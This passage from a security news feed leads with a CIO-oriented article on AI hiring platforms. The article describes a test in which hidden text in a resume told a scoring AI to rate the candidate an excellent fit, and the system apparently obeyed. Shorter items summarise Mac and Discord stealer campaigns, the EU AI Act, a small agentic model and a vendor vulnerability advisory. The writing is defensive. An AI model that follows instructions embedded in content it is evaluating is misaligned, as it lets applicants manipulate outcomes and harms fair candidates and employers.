		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, applicant tracking systems and recruiting platforms were treated as HR technology: Important for workflow, efficiency, compliance and candidate experience, but rarely viewed as core security infrastructure. That assumption no longer holds. Once AI begins reading resumes, scoring candidates, conducting interviews, ranking applicants and influencing who moves forward, the hiring platform stops being a passive system of record. It becomes a decision system.</p>



<p class="wp-block-paragraph">And any system that accepts public input, processes sensitive data and influences business decisions belongs inside the security conversation.</p>



<p class="wp-block-paragraph">I learned this during an AI hiring platform rollout that never made it to production. The vendor was established, the product had a strong market reputation and the AI feature looked attractive: Upload a resume, compare it to a job description and return a neat percentage match. For recruiters, it promised speed. For executives, it promised modernization.</p>



<p class="wp-block-paragraph">Before moving real candidate data into the system, I tested it with synthetic resumes. One weak resume came back with a surprisingly strong match. The reason was not hidden in the candidate’s experience. It was hidden in the text. The resume contained language instructing the AI to treat the candidate as an excellent fit, and the system appeared to follow that instruction instead of evaluating the resume on merit.</p>



<p class="wp-block-paragraph">That changed the question from “Does the tool improve productivity?” to “Can the person being evaluated influence the evaluation itself?”</p>



<p class="wp-block-paragraph">That is a security question.</p>



<h2 class="wp-block-heading">The trust boundary has moved</h2>



<p class="wp-block-paragraph">CIOs do not need to become recruiting experts. They only need to look at the mechanics.</p>



<p class="wp-block-paragraph">An anonymous user submits content into an enterprise system. That content is processed by software. The software then produces an output that can influence a business decision. In every other environment, security teams know what to call that: untrusted input crossing a trust boundary.</p>



<p class="wp-block-paragraph">The difference is that in hiring, the input looks harmless. It is a resume, a cover letter, a chatbot reply or a spoken answer in an AI-led interview. But once AI reads that content and treats it as instruction, the harmless-looking input becomes part of the system’s control surface.</p>



<p class="wp-block-paragraph">That is why prompt injection matters in hiring. It is not just an AI oddity or a model behavior issue. It is the same category of failure enterprises have spent decades trying to prevent: User-controlled input changing what the system does. <a href="https://genai.owasp.org/llmrisk/llm01-prompt-injection/">OWASP lists prompt injection as the first risk in its Top 10 for LLM applications</a>, describing it as a case where user prompts alter a model’s behavior or output in unintended ways.</p>



<p class="wp-block-paragraph">In hiring, the implication is direct: A candidate may be able to manipulate the score, ranking or interview assessment that determines whether a human ever sees them.</p>



<h2 class="wp-block-heading">The business impact is not theoretical</h2>



<p class="wp-block-paragraph">The obvious risk is that an unqualified candidate moves forward. But the impact is broader.</p>



<p class="wp-block-paragraph">First, decision quality degrades. Hiring teams adopt AI scoring because they believe it improves signal. If the score can be manipulated, the business is not gaining signal; it is gaining false confidence. Recruiters may spend time on candidates who gamed the system while stronger candidates are buried lower in the queue. A tool bought to reduce friction can quietly create more of it.</p>



<p class="wp-block-paragraph">Second, cost increases under the appearance of efficiency. Every false positive consumes recruiter time, hiring-manager attention, interview slots and opportunity cost. A small weakness in screening integrity can become a measurable operational drag across open roles.</p>



<p class="wp-block-paragraph">Third, trust suffers. Candidates already question whether AI hiring tools are fair, explainable or accurate. If it becomes clear that a screening system can be manipulated by hidden instructions or verbal prompting, the issue is no longer just security. It becomes reputational. Strong candidates may lose confidence in the process, and employers may have to defend decisions made by systems they did not fully understand.</p>



<p class="wp-block-paragraph">Fourth, sensitive data exposure becomes harder to contain. Recruiting systems hold names, addresses, work histories, education histories, compensation details, work authorization information and sometimes accommodation or demographic data. <a href="https://csrc.nist.gov/pubs/sp/800/122/final">NIST guidance on personally identifiable information</a> includes employment information as linkable personal data that must be protected from inappropriate access, use and disclosure. Yet hiring platforms often receive less security scrutiny than systems holding customer or financial data.</p>



<p class="wp-block-paragraph">That mismatch is dangerous: High-value data, public-facing workflows and increasing automation.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4020919/mcdonalds-ai-hiring-tools-password-123456-exposes-data-of-64m-applicants.html">The 2025 McHire incident</a> should have made this impossible to ignore. Researchers reported that weaknesses in McDonald’s AI hiring platform, including default credentials and an access-control flaw, exposed applicant data at large scale before the issue was patched. The lesson for CIOs is not merely that a weak password was used. The lesson is that AI hiring systems can ship with basic, preventable security failures while still being treated as HR tools rather than enterprise risk surfaces.</p>



<h2 class="wp-block-heading">Vendor reputation does not transfer to every AI feature</h2>



<p class="wp-block-paragraph">One reason this risk slips through is that buyers often trust the platform brand. Mature vendors may have strong security programs, enterprise customers, compliance documentation and procurement-friendly answers.</p>



<p class="wp-block-paragraph">But AI features can change the architecture of risk.</p>



<p class="wp-block-paragraph">A platform that was safe as a workflow tool may behave very differently once it adds resume scoring, interview grading, chatbot screening or automated ranking. The new feature may introduce new inputs, new model behavior, new data flows, new third-party dependencies and new decision points. In practical terms, the attack surface has changed.</p>



<p class="wp-block-paragraph">CIOs should not allow AI features to inherit trust automatically from the legacy platform around them. When a vendor adds AI, the enterprise should reassess the feature as if it were a new product. That does not mean slowing innovation for bureaucracy. It means AI-enabled decision-making carries different failure modes from ordinary workflow automation.</p>



<h2 class="wp-block-heading">The ownership gap is the real vulnerability</h2>



<p class="wp-block-paragraph">The biggest risk may not be the model. It may be the ownership gap.</p>



<p class="wp-block-paragraph">Talent acquisition may buy the tool. HR operations may configure it. The vendor may guide implementation. Procurement and legal may approve the contract. But who owns the security of the candidate-facing AI layer?</p>



<p class="wp-block-paragraph">In many organizations, the honest answer is unclear.</p>



<p class="wp-block-paragraph">That ambiguity is where risk grows. Recruiting technology sits at the intersection of public input, sensitive data, third-party software, automated decision support and brand trust. That is exactly the kind of environment that needs named security ownership, asset inventory, vendor review, access-control testing, logging and incident-response planning.</p>



<p class="wp-block-paragraph">If the hiring stack is not in the security inventory, the organization is already making an assumption it may later regret.</p>



<h2 class="wp-block-heading">What CIOs should require now</h2>



<p class="wp-block-paragraph">The fix is not exotic. It is applying existing security discipline to a surface that has been underestimated.</p>



<p class="wp-block-paragraph">Treat every candidate submission as untrusted input. Resumes, cover letters, chatbot responses, interview transcripts and spoken answers should be handled as attacker-controllable content. If AI processes it, the system must separate content from instruction.</p>



<p class="wp-block-paragraph">Reassess vendors when AI features are introduced. A prior security review should not be treated as permanent approval for new AI capabilities. Ask what changed in the architecture, what data the model sees, what actions it can influence and how manipulation attempts are detected.</p>



<p class="wp-block-paragraph">Ask AI-specific questions before signing. Can candidate-provided content alter scoring? Are hidden instructions filtered or ignored? Is there human review before AI output influences a decision? Can the vendor produce testing evidence for prompt injection, access control and data exposure risks?</p>



<p class="wp-block-paragraph">Assign ownership. HR can own the process, but security must own the risk model. AI hiring systems should be included in third-party risk management, application security reviews, access governance, monitoring and incident response planning.</p>



<p class="wp-block-paragraph">Measure business impact, not just AI adoption. The goal is not to say the recruiting function uses AI. The goal is to improve hiring speed, quality, fairness and cost without creating new risk. If the system cannot protect decision integrity, the business case is weaker than it appears.</p>



<h2 class="wp-block-heading">The hiring platform is now part of the enterprise attack surface</h2>



<p class="wp-block-paragraph">AI has turned the careers page into more than a front door for applicants. It is now a public input channel feeding systems that store sensitive data and influence workforce decisions.</p>



<p class="wp-block-paragraph">That makes it a CIO concern.</p>



<p class="wp-block-paragraph">The next failure in AI hiring may not look like a traditional breach at first. It may look like bad rankings, manipulated scores, unexplainable decisions, wasted recruiter time or a candidate process no one trusts. But underneath those symptoms is a familiar security problem: A system trusted input it should have treated as hostile.</p>



<p class="wp-block-paragraph">Enterprises have hardened payment systems, customer portals, APIs and employee applications around that lesson. Hiring deserves the same treatment.</p>



<p class="wp-block-paragraph">AI hiring is not just an HR transformation. It is a security boundary. And it is time CIOs treated it like one.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[VPN Provider Blocks Microsoft’s Hidden Windows GPID Script]]></title>
<description><![CDATA[It tracks a specific Windows installation across Microsoft services and stays the same even if the network address changes.]]></description>
<link>https://tsecurity.de/de/3710130/it-nachrichten/vpn-provider-blocks-microsofts-hidden-windows-gpid-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710130/it-nachrichten/vpn-provider-blocks-microsofts-hidden-windows-gpid-script/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:34 +0200</pubDate>
<content:encoded><![CDATA[It tracks a specific Windows installation across Microsoft services and stays the same even if the network address changes.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Chinese Philosopher Americans Can’t Stop Fighting About]]></title>
<description><![CDATA[Yiyang Zhuge was already an intellectual celebrity in China. Her viral interview with Christopher Nolan made her famous in the US—and quickly turned her into a political Rorschach test.]]></description>
<link>https://tsecurity.de/de/3709993/it-nachrichten/the-chinese-philosopher-americans-cant-stop-fighting-about/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709993/it-nachrichten/the-chinese-philosopher-americans-cant-stop-fighting-about/</guid>
<pubDate>Fri, 07 Aug 2026 23:46:17 +0200</pubDate>
<content:encoded><![CDATA[Yiyang Zhuge was already an intellectual celebrity in China. Her viral interview with Christopher Nolan made her famous in the US—and quickly turned her into a political Rorschach test.]]></content:encoded>
</item>
<item>
<title><![CDATA[What the first year of EU AI Act transparency enforcement could look like]]></title>
<description><![CDATA[In this Help Net Security interview, Edwin Weijdema, Field CTO at Veeam, answers questions on Article 50 of the EU AI Act and what the first year of enforcement might bring. He explains why corrective orders will likely outnumber large fines, when an AI agent working through a ticket queue counts...]]></description>
<link>https://tsecurity.de/de/3709714/it-security-nachrichten/what-the-first-year-of-eu-ai-act-transparency-enforcement-could-look-like/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709714/it-security-nachrichten/what-the-first-year-of-eu-ai-act-transparency-enforcement-could-look-like/</guid>
<pubDate>Fri, 07 Aug 2026 11:27:09 +0200</pubDate>
<content:encoded><![CDATA[<p>In this Help Net Security interview, Edwin Weijdema, Field CTO at Veeam, answers questions on Article 50 of the EU AI Act and what the first year of enforcement might bring. He explains why corrective orders will likely outnumber large fines, when an AI agent working through a ticket queue counts as interacting with a person, and how security teams should handle simulated phishing that uses cloned voices. He also weighs where the first enforcement … <a href="https://www.helpnetsecurity.com/2026/08/07/edwin-weijdema-veeam-eu-ai-act-transparency/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/07/edwin-weijdema-veeam-eu-ai-act-transparency/">What the first year of EU AI Act transparency enforcement could look like</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA["deGDID" entfernt GDID in Windows und blockt Neuanlage]]></title>
<description><![CDATA[Microsoft vergibt in Windows eine eindeutige GDID genannte Kennung, über die Nutzer identifiziert werden können. Der VPN-Anbieter Windscribe hat nun ein Skript entwickelt, um das versteckte GDID-Tracking von Microsoft unter Windows zu blockieren. Das Script deGDID löscht vorhandene Identifikatore...]]></description>
<link>https://tsecurity.de/de/3709564/it-nachrichten/degdid-entfernt-gdid-in-windows-und-blockt-neuanlage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709564/it-nachrichten/degdid-entfernt-gdid-in-windows-und-blockt-neuanlage/</guid>
<pubDate>Fri, 07 Aug 2026 11:15:16 +0200</pubDate>
<content:encoded><![CDATA[Microsoft vergibt in Windows eine eindeutige GDID genannte Kennung, über die Nutzer identifiziert werden können. Der VPN-Anbieter Windscribe hat nun ein Skript entwickelt, um das versteckte GDID-Tracking von Microsoft unter Windows zu blockieren. Das Script deGDID löscht vorhandene Identifikatoren und … <a href="https://borncity.com/blog/2026/08/07/degdid-entfernt-gdid-in-windows-und-blockt-neuanlage/">Weiterlesen <span class="meta-nav">→</span></a>
<p><a href="https://borncity.com/blog/2026/08/07/degdid-entfernt-gdid-in-windows-und-blockt-neuanlage/" rel="nofollow">Quelle</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[No cloud, no GPUs, no problem: Liquid AI's new model LFM2.5-2.6B brings powerful AI agents to devices as small as a Raspberry Pi]]></title>
<description><![CDATA[Earlier this week, the AI startup Liquid, formed in 2023 by former MIT computer scientists, debuted LFM2.5-2.6B, a new open-weight language model designed specifically for agentic workloads. In release materials and a recent interview with VentureBeat, Liquid's researchers said LFM2.5-2.6B can ru...]]></description>
<link>https://tsecurity.de/de/3709207/it-nachrichten/no-cloud-no-gpus-no-problem-liquid-ais-new-model-lfm25-26b-brings-powerful-ai-agents-to-devices-as-small-as-a-raspberry-pi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709207/it-nachrichten/no-cloud-no-gpus-no-problem-liquid-ais-new-model-lfm25-26b-brings-powerful-ai-agents-to-devices-as-small-as-a-raspberry-pi/</guid>
<pubDate>Fri, 07 Aug 2026 02:35:01 +0200</pubDate>
<content:encoded><![CDATA[<p>Earlier this week, the AI startup Liquid, formed in 2023 by former MIT computer scientists, <a href="https://www.liquid.ai/blog/lfm2-5-2-6b">debuted LFM2.5-2.6B</a>, a new open-weight language model designed specifically for agentic workloads. </p><p>In release materials and a recent interview with VentureBeat, Liquid's researchers said LFM2.5-2.6B can run entirely on local hardware — from smartphones and laptops down to a Raspberry Pi — without relying on cloud inference or GPUs, unlocking edge AI applications and giving more options to enterprises working in regulated industries or with sensitive information they don't want to send up to the cloud. </p><p>It's best suited for high-volume, well-defined agentic tasks that run locally — tool calling, document management, calendar and workflow automation, and always-on background routines — and for connectivity-limited environments like vehicles and robotics, though coding-heavy work is better left to larger models.</p><p>Even for those businesses without such concerns, the appeal of running performant, task-specific agents at the cost of essentially electricity, may be enough to make the new model quite appealing. </p><p>But the <a href="https://huggingface.co/LiquidAI/LFM2.5-2.6B/blob/main/LICENSE">custom open weights license</a>, as with <a href="https://venturebeat.com/technology/kimi-k3s-full-weights-are-here-but-theyre-open-with-a-caveat-what-enterprises-should-know">Moonshot's larger frontier model Kimi K3</a> released last month, is worth a close look by enterprise legal teams. </p><h2><b>The basics</b></h2><p>LFM2.5-2.6B contains 2.6 billion parameters, supports a 128,000-token context window, and includes native tool calling. The somewhat tricky name is explained by the generation of model (2.5) combined with the parameter count (2.6B).  </p><p>Both the post-trained model and a base checkpoint (LFM2.5-2.6B-Base) for developers who want to fine-tune it are available now on <a href="https://huggingface.co/LiquidAI/LFM2.5-2.6B">Hugging Face</a>, with day-one support for major inference stacks including llama.cpp, MLX, vLLM, SGLang, and ONNX — positioning it for deployment across consumer hardware, enterprise infrastructure, and embedded systems.</p><p>Liquid also offers an open source fine-tuning framework, <a href="https://github.com/Liquid4All/leap-finetune">LEAP</a>.</p><p>Rather than positioning LFM2.5-2.6B as a competitor to the largest frontier models, the company is making a different argument: that a sufficiently capable small model can unlock categories of enterprise applications where latency, privacy, deployment flexibility, or inference costs matter more than absolute benchmark leadership.</p><p>"I do also believe that the best models will be in the cloud, and there's no problem with that," Maxime Labonne, Liquid AI's head of post-training, told VentureBeat in an interview following the launch. "We want to make models for another type of user, and the best way of describing it is: you should use [edge AI] when you can't use a cloud model."</p><h2><b>Small enough for a Raspberry Pi</b></h2><p>Asked about the minimum viable hardware, Labonne said the model runs "very, very well" on CPUs — and that the LFM2 architecture underlying the model was explicitly designed around real-world CPU performance rather than GPU benchmarks.</p><p>"I think the best example is a Raspberry Pi," he said. "We have a lot of demos that show that actually, it works pretty fast on the Raspberry Pi."</p><p>Company-reported measurements indicate decoding throughput of approximately 220 tokens per second on an Apple M5 Max and 113 tokens per second on an AMD Ryzen AI Max+ 395, while using less than 2.5 GB of memory — and around 30 tokens per second on a smartphone. Users can try the models on their phones through Apollo, Liquid AI's mobile app.</p><p>At the other end of the deployment spectrum, Liquid AI reports the model reaches nearly 15,000 output tokens per second on a single Nvidia H100 GPU under sustained concurrent load — roughly 1.3 billion tokens per day on one card. These figures are vendor benchmarks and have not been independently verified.</p><p>For Labonne, memory footprint and speed are not conveniences but hard constraints that determine what can be deployed at all.</p><p>"What we want to show is that it's a really good trade-off, because you get the level of quality that you get with much bigger models, but in a tiny, tiny form factor," he said. "You can deploy it in target devices where you are not able to deploy the other ones at all."</p><h2><b>Trained for agents instead of chatbots</b></h2><p>Liquid AI says LFM2.5-2.6B was developed around the assumption that language models are increasingly consumed through agent frameworks rather than traditional conversational interfaces.</p><p>"Models are not consumed in chatbots anymore. They're really consumed through agentic harnesses, like OpenClaw, like Hermes Agent," Labonne said. "We wanted to make sure that this model is not just good at math or at code, but it's good at using tools."</p><p>The model is pretrained on approximately 34 trillion tokens, with a vocabulary doubled to 128K to better support non-Latin scripts and a dedicated mid-training phase to extend the context window to 128K tokens for long-running agent workflows.</p><p>Post-training follows a four-stage pipeline: supervised fine-tuning, teacher specialization (training separate expert models for domains like instruction following, math, code, and tool use), multi-domain on-policy distillation (MOPD) to merge those experts' capabilities back into a single student model, and finally agentic reinforcement learning. </p><p>During that last stage, the model was trained directly inside production agent harnesses — including Hermes Agent and OpenClaw — on realistic productivity tasks involving research, coding, document management, tool invocation, and workflow automation, exposing it to those harnesses' actual tools, system prompts, and interaction patterns.</p><p>Labonne described the pipeline overhaul as producing a "happy accident": gains that extended well beyond the agentic targets.</p><p>"Through these new training techniques, we also got a lot better at everything. We got better at math, at instruction following. We've never been good at code, actually — and with this, we even got really good at code," he said.</p><h2><b>Building the model — and the harness</b></h2><p>Notably, Liquid AI also built its own agent harness rather than relying solely on existing frameworks, and demonstrated the model running inside it on a phone, planning and calling tools entirely on-device.</p><p>"This is a harness running on a phone, and I don't know if there's any other harness running on a phone," Labonne said.</p><p>The company had two reasons, he explained. The first was necessity — no phone-native harness existed. The second is a different interaction model: today's harnesses wait for a prompt, and Liquid AI wants assistants that act on their own.</p><p>"We want proactive agents. We want agents that run in the background, check what you're doing, check your calendar, and based on this context, do tasks," he said. "That doesn't exist today, really."</p><p>Co-designing the harness and model also lets the software compensate for the model's weak spots. "Everything that the model is bad at, the harness should help the model with — provide as much assistance as possible to make it more reliable," Labonne said. "End users don't care if it's the model or the harness. What they want is that the task is achieved at the end of the day."</p><p>The model nevertheless works out of the box with established harnesses including Hermes Agent, OpenClaw, and Pi, served behind any OpenAI-compatible endpoint.</p><h2><b>Swap the harness, not the model</b></h2><p>For enterprise deployment, Labonne argued the release marks a shift in what small models can be used for. Until now, he said, local models made economic sense mainly as narrowly fine-tuned specialists — trained to do one thing at cloud-model quality, much faster and cheaper. Agentic capability changes that calculus, because the same model can be repurposed by changing the tools around it rather than the model itself.</p><p>"You can have a calendar assistant, and you can reuse the same model and make a meeting assistant that will record what everybody said and summarize it — a bit like Granola, for example," he said. "You don't change the model; you just change the harness. You just change the tools around it. This gives much more generalizability, and it's a lot easier to do and a lot cheaper as well."</p><p>He still recommends fine-tuning for production deployments whenever feasible: "If you don't fine-tune it, you leave some quality on the table. If you fine-tune it well, it's going to match the performance of GPT and Claude — really, if your task is not the most complex task in the world," he said, adding that the barrier to entry has collapsed: "The bar to be able to do fine-tuning now is super low. It's very accessible to everyone."</p><h2><b>How it stacks up against DeepSeek-V4-Flash, Google's Gemma and Alibaba's Qwen</b></h2><p>Liquid AI released its own benchmark comparison charts pitting LFM2.5-2.6B against the models enterprises are most likely to shortlist for the same edge deployments: Google's Gemma 4 E2B (5.1B parameters) and E4B (8B), and Alibaba's Qwen3.5-4B (4.7B) and Qwen3.5-9B (9.7B). </p><p>A separate test by local AI client platform <a href="https://x.com/atomic_chat_hq/status/2085405031474343963">Atomic Chat</a> found that LFM2.5-2.6B completed 35 tool calls to complete three tasks (checking weather and local time in six cities, converting one budget into six currencies, checking four hotels and booking for a date) 3.7 times faster than DeepSeek-V4-Flash (a whopping 284B parameters), the model has <a href="https://x.com/natolambert/status/2084790959636922652?s=20">skyrocketed</a> to the top of <a href="https://openrouter.ai/rankings#top-models">OpenRouter</a> since its release last week. </p><div></div><p>Gemma 4's small models are multimodal generalists, accepting image and audio input alongside text, and use a Per-Layer Embeddings design that keeps only a fraction of their weights active per token — which is why Google markets them by "effective" size (2.3B and 4.5B) despite total footprints of 5.1B and 8B. Alibaba's Qwen3.5 small series, <a href="https://venturebeat.com/technology/alibabas-small-open-source-qwen3-5-9b-beats-openais-gpt-oss-120b-and-can-run">released in March</a>, is natively multimodal from 4B up and leans on scaled reinforcement learning to chase frontier-style reasoning — Alibaba touts the 9B model as matching or beating OpenAI's far larger gpt-oss-120B on reasoning benchmarks.</p><p>LFM2.5-2.6B takes a narrower path: it is text-only, dense, and specialized for agentic work, with Liquid AI shipping separate vision and audio variants of the LFM family rather than folding everything into one checkpoint. </p><p>Where Qwen's post-training reinforcement learning targets reasoning, Liquid's targets tool use inside real agent harnesses. </p><p>The result, per the company's published numbers, is that the smallest model in the comparison leads every instruction-following benchmark (IFBench, Multi-IF, IFStruct) and nearly every tool-use benchmark — 77.83 on ToolSandbox versus 76.44 for Qwen3.5-9B, a model nearly four times its size — trailing only that 9B model on BFCLv4. </p><p>On agentic evaluations it beats both Gemma models across the board and essentially ties the Qwens: 26.89 on BrowseComp+ versus 27.23 for Qwen3.5-9B. It also posts the best score on AA Omniscience, a knowledge benchmark that penalizes hallucination.</p><p>The Qwen models keep the edge where their training focus lies: math (Qwen3.5-9B leads AIME25) and coding, where larger models retain an advantage on LiveCodeBench — though Labonne noted the gap is smaller than the parameter counts would suggest.</p><p>"With LiveCodeBench v6, we might not be the best among these models, but we're also by far the smallest. Showing that we're competitive with them is already quite a big win for me," he said.</p><p>One differentiator cuts the other way: licensing. Gemma 4 and Qwen3.5 ship under the permissive Apache 2.0 license — <a href="https://venturebeat.com/technology/google-releases-gemma-4-under-apache-2-0-and-that-license-change-may-matter">a change Google made specifically to court enterprises</a>. DeepSeek-V4-Flash ships <a href="https://huggingface.co/datasets/choosealicense/licenses/blob/main/markdown/mit.md">under a similarly permissive MIT License</a>. </p><p>Meanwhile, Liquid AI's revenue-gated license (detailed below) asks larger companies to strike a commercial deal. Enterprises above the threshold are effectively trading license friction for footprint and tool-use performance.</p><h2><b>Licensing reflects a commercial middle ground</b></h2><p>LFM2.5-2.6B is distributed under the <a href="https://huggingface.co/LiquidAI/LFM2.5-2.6B/blob/main/LICENSE">LFM Open License v1.0,</a> which permits use, modification, and redistribution — including commercial use — for organizations with less than $10 million in annual revenue. Commercial use by larger companies is not covered by the license, requiring a separate arrangement with Liquid AI; qualified nonprofits are exempt from the threshold for non-commercial and research purposes.</p><p>Labonne framed the structure as a way to sustain model development — "the models are really the moats, so we need to be sensible in the way that we license them; otherwise, we cannot make money, so we can't make more models" — while characterizing the threshold as a light-touch mechanism in practice.</p><p>Asked how the company would even know if a large enterprise quietly deployed the open weights, he was candid: "I think this is a question for our legal team, but personally, I don't know. And even if you're above $10 million, the only thing that we ask you is to contact us."</p><p>The company pairs its licensed model releases with freely published research, he added, including new structured-output evaluations and a training technique that mitigates the repetition loops common in small models — a failure mode he noted Qwen models are "kind of guilty of."</p><h2><b>Small model, big enterprise implications</b></h2><p>The launch coincided with an announcement from <a href="https://www.liquid.ai/blog/macpaw-partners-liquid-ai-on-device-ai-mac-users">MacPaw</a>, the Ukrainian software company behind CleanMyMac and Setapp, of a long-term strategic partnership with Liquid AI to build an on-device AI stack for the Mac. </p><p>Liquid AI will design and fine-tune foundation models for Eney, MacPaw's macOS assistant, running locally on Apple silicon through MacPaw's Elix inference engine and Mnemos memory layer, with results expected later this year.</p><p>Labonne pointed to the deal as a concrete validation of the size argument: "One of the reasons why they chose us is also because the model is quite small, and they don't have all the memory budget to run the other models."</p><p>The release arrives as hardware vendors, operating system developers, and enterprise software companies increasingly invest in local AI execution — and as agent harnesses proliferate across the industry. Liquid AI's bet is that deployment economics, not raw scale, will define an important segment of that market: agents running continuously, everywhere, at zero marginal token cost.</p><p>Whether small, highly optimized agent models become a significant segment of enterprise AI will ultimately depend less on benchmark scores than on operational reliability. But Liquid AI's latest release suggests the next competitive frontier is no longer simply building larger models — it's building models small enough, and capable enough, to run wherever enterprise workflows already live.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[One pasted Terminal command opens the door to Mac crypto wallet theft]]></title>
<description><![CDATA[Researchers have uncovered Mac malware that can steal credentials and drain all or a selected percentage of a cryptocurrency wallet, in yet another reminder not to paste random commands from the internet into Terminal.New malware via ClickFixThe Go-based malware arrived through a ClickFix attack,...]]></description>
<link>https://tsecurity.de/de/3708807/ios-mac-os/one-pasted-terminal-command-opens-the-door-to-mac-crypto-wallet-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708807/ios-mac-os/one-pasted-terminal-command-opens-the-door-to-mac-crypto-wallet-theft/</guid>
<pubDate>Thu, 06 Aug 2026 19:32:14 +0200</pubDate>
<content:encoded><![CDATA[Researchers have uncovered <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> malware that can steal credentials and drain all or a selected percentage of a cryptocurrency wallet, in yet another reminder not to paste random commands from the internet into Terminal.<br><br><div><img src="https://media.appleinsider.com/gallery/68491-144300-0913CA19-2542-4C9E-AC5A-17B59323EFD9-xl.jpg" alt="Open laptop on a desk displaying a large security warning dialog about an unexpected system error, asking for an administrator password, with a Huntress logo and a prominent blue Recover button"><span>New malware via ClickFix</span></div><br>The Go-based malware arrived through a <a href="https://appleinsider.com/articles/26/03/10/bad-captcha-in-the-wild-tricks-mac-users-into-installing-malware-through-terminal">ClickFix attack</a>, which disguises a malicious instruction as a CAPTCHA or error message. Instead of exploiting <a href="https://appleinsider.com/inside/macos" title="macOS" data-kpt="1">macOS</a>, the attackers persuaded the victim to run the command that installed their malware for them.<br><br>Once executed, a Bash script profiled the Mac and downloaded a payload built for either <a href="https://appleinsider.com/inside/apple-silicon" title="Apple Silicon" data-kpt="1">Apple Silicon</a> or Intel hardware. It then deleted its temporary file, cleared the Terminal window and removed the command from shell history.<br><br>Security analysts at Huntress found the infection during a retrospective threat hunt in June on a monitored Mac that had been compromised approximately three months earlier. The security company published its findings on August 6.<br><br><br> <a href="https://appleinsider.com/articles/26/08/06/one-pasted-terminal-command-opens-the-door-to-mac-crypto-wallet-theft?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245187?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Xeno Roblox Executor Delivers Powercat Java Stealer Through Discord]]></title>
<description><![CDATA[The fake “undetected” Xeno Roblox executor currently circulating on gaming forums and Discord is a weaponized loader for the Powercat Java stealer, a multi‑stage RAT and infostealer that targets Discord, Roblox, Minecraft, crypto wallets and payment tokens while enabling full remote control of in...]]></description>
<link>https://tsecurity.de/de/3708730/hacking/fake-xeno-roblox-executor-delivers-powercat-java-stealer-through-discord/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708730/hacking/fake-xeno-roblox-executor-delivers-powercat-java-stealer-through-discord/</guid>
<pubDate>Thu, 06 Aug 2026 19:13:22 +0200</pubDate>
<content:encoded><![CDATA[<p>The fake “undetected” Xeno Roblox executor currently circulating on gaming forums and Discord is a weaponized loader for the Powercat Java stealer, a multi‑stage RAT and infostealer that targets Discord, Roblox, Minecraft, crypto wallets and payment tokens while enabling full remote control of infected Windows systems. Threat actors are promoting trojanized Xeno executors through Roblox‑focused […]</p>
<p>The post <a href="https://gbhackers.com/powercat-java-stealer/">Fake Xeno Roblox Executor Delivers Powercat Java Stealer Through Discord</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ABB Ability Zenon]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow attackers to bypass security, crash systems, execute unauthorized actions, or compromise data.
The following versions of ABB Ability Zenon are affected:

IIoT services with MongoDB (4.2) installed on ABB Ability Zenon ...]]></description>
<link>https://tsecurity.de/de/3708685/it-security-nachrichten/abb-ability-zenon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708685/it-security-nachrichten/abb-ability-zenon/</guid>
<pubDate>Thu, 06 Aug 2026 19:07:23 +0200</pubDate>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-218-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow attackers to bypass security, crash systems, execute unauthorized actions, or compromise data.</strong></p>
<p>The following versions of ABB Ability Zenon are affected:</p>
<ul>
<li>IIoT services with MongoDB (4.2) installed on ABB Ability Zenon vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.8</td>
<td>ABB</td>
<td>ABB Ability Zenon</td>
<td>Improper Handling of Length Parameter Inconsistency, Improper Neutralization of Null Byte or NUL Character, Collapse of Data into Unsafe Value, Undefined Behavior for Input to API, Incorrect Regular Expression, Uncaught Exception, Reachable Assertion, Allocation of Resources Without Limits or Throttling, Out-of-bounds Write, Improper Output Neutralization for Logs, Improper Certificate Validation, Execution with Unnecessary Privileges</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Communications, Critical Manufacturing, Dams, Energy, Healthcare and Public Health, Information Technology, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Switzerland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14847</a></h3>
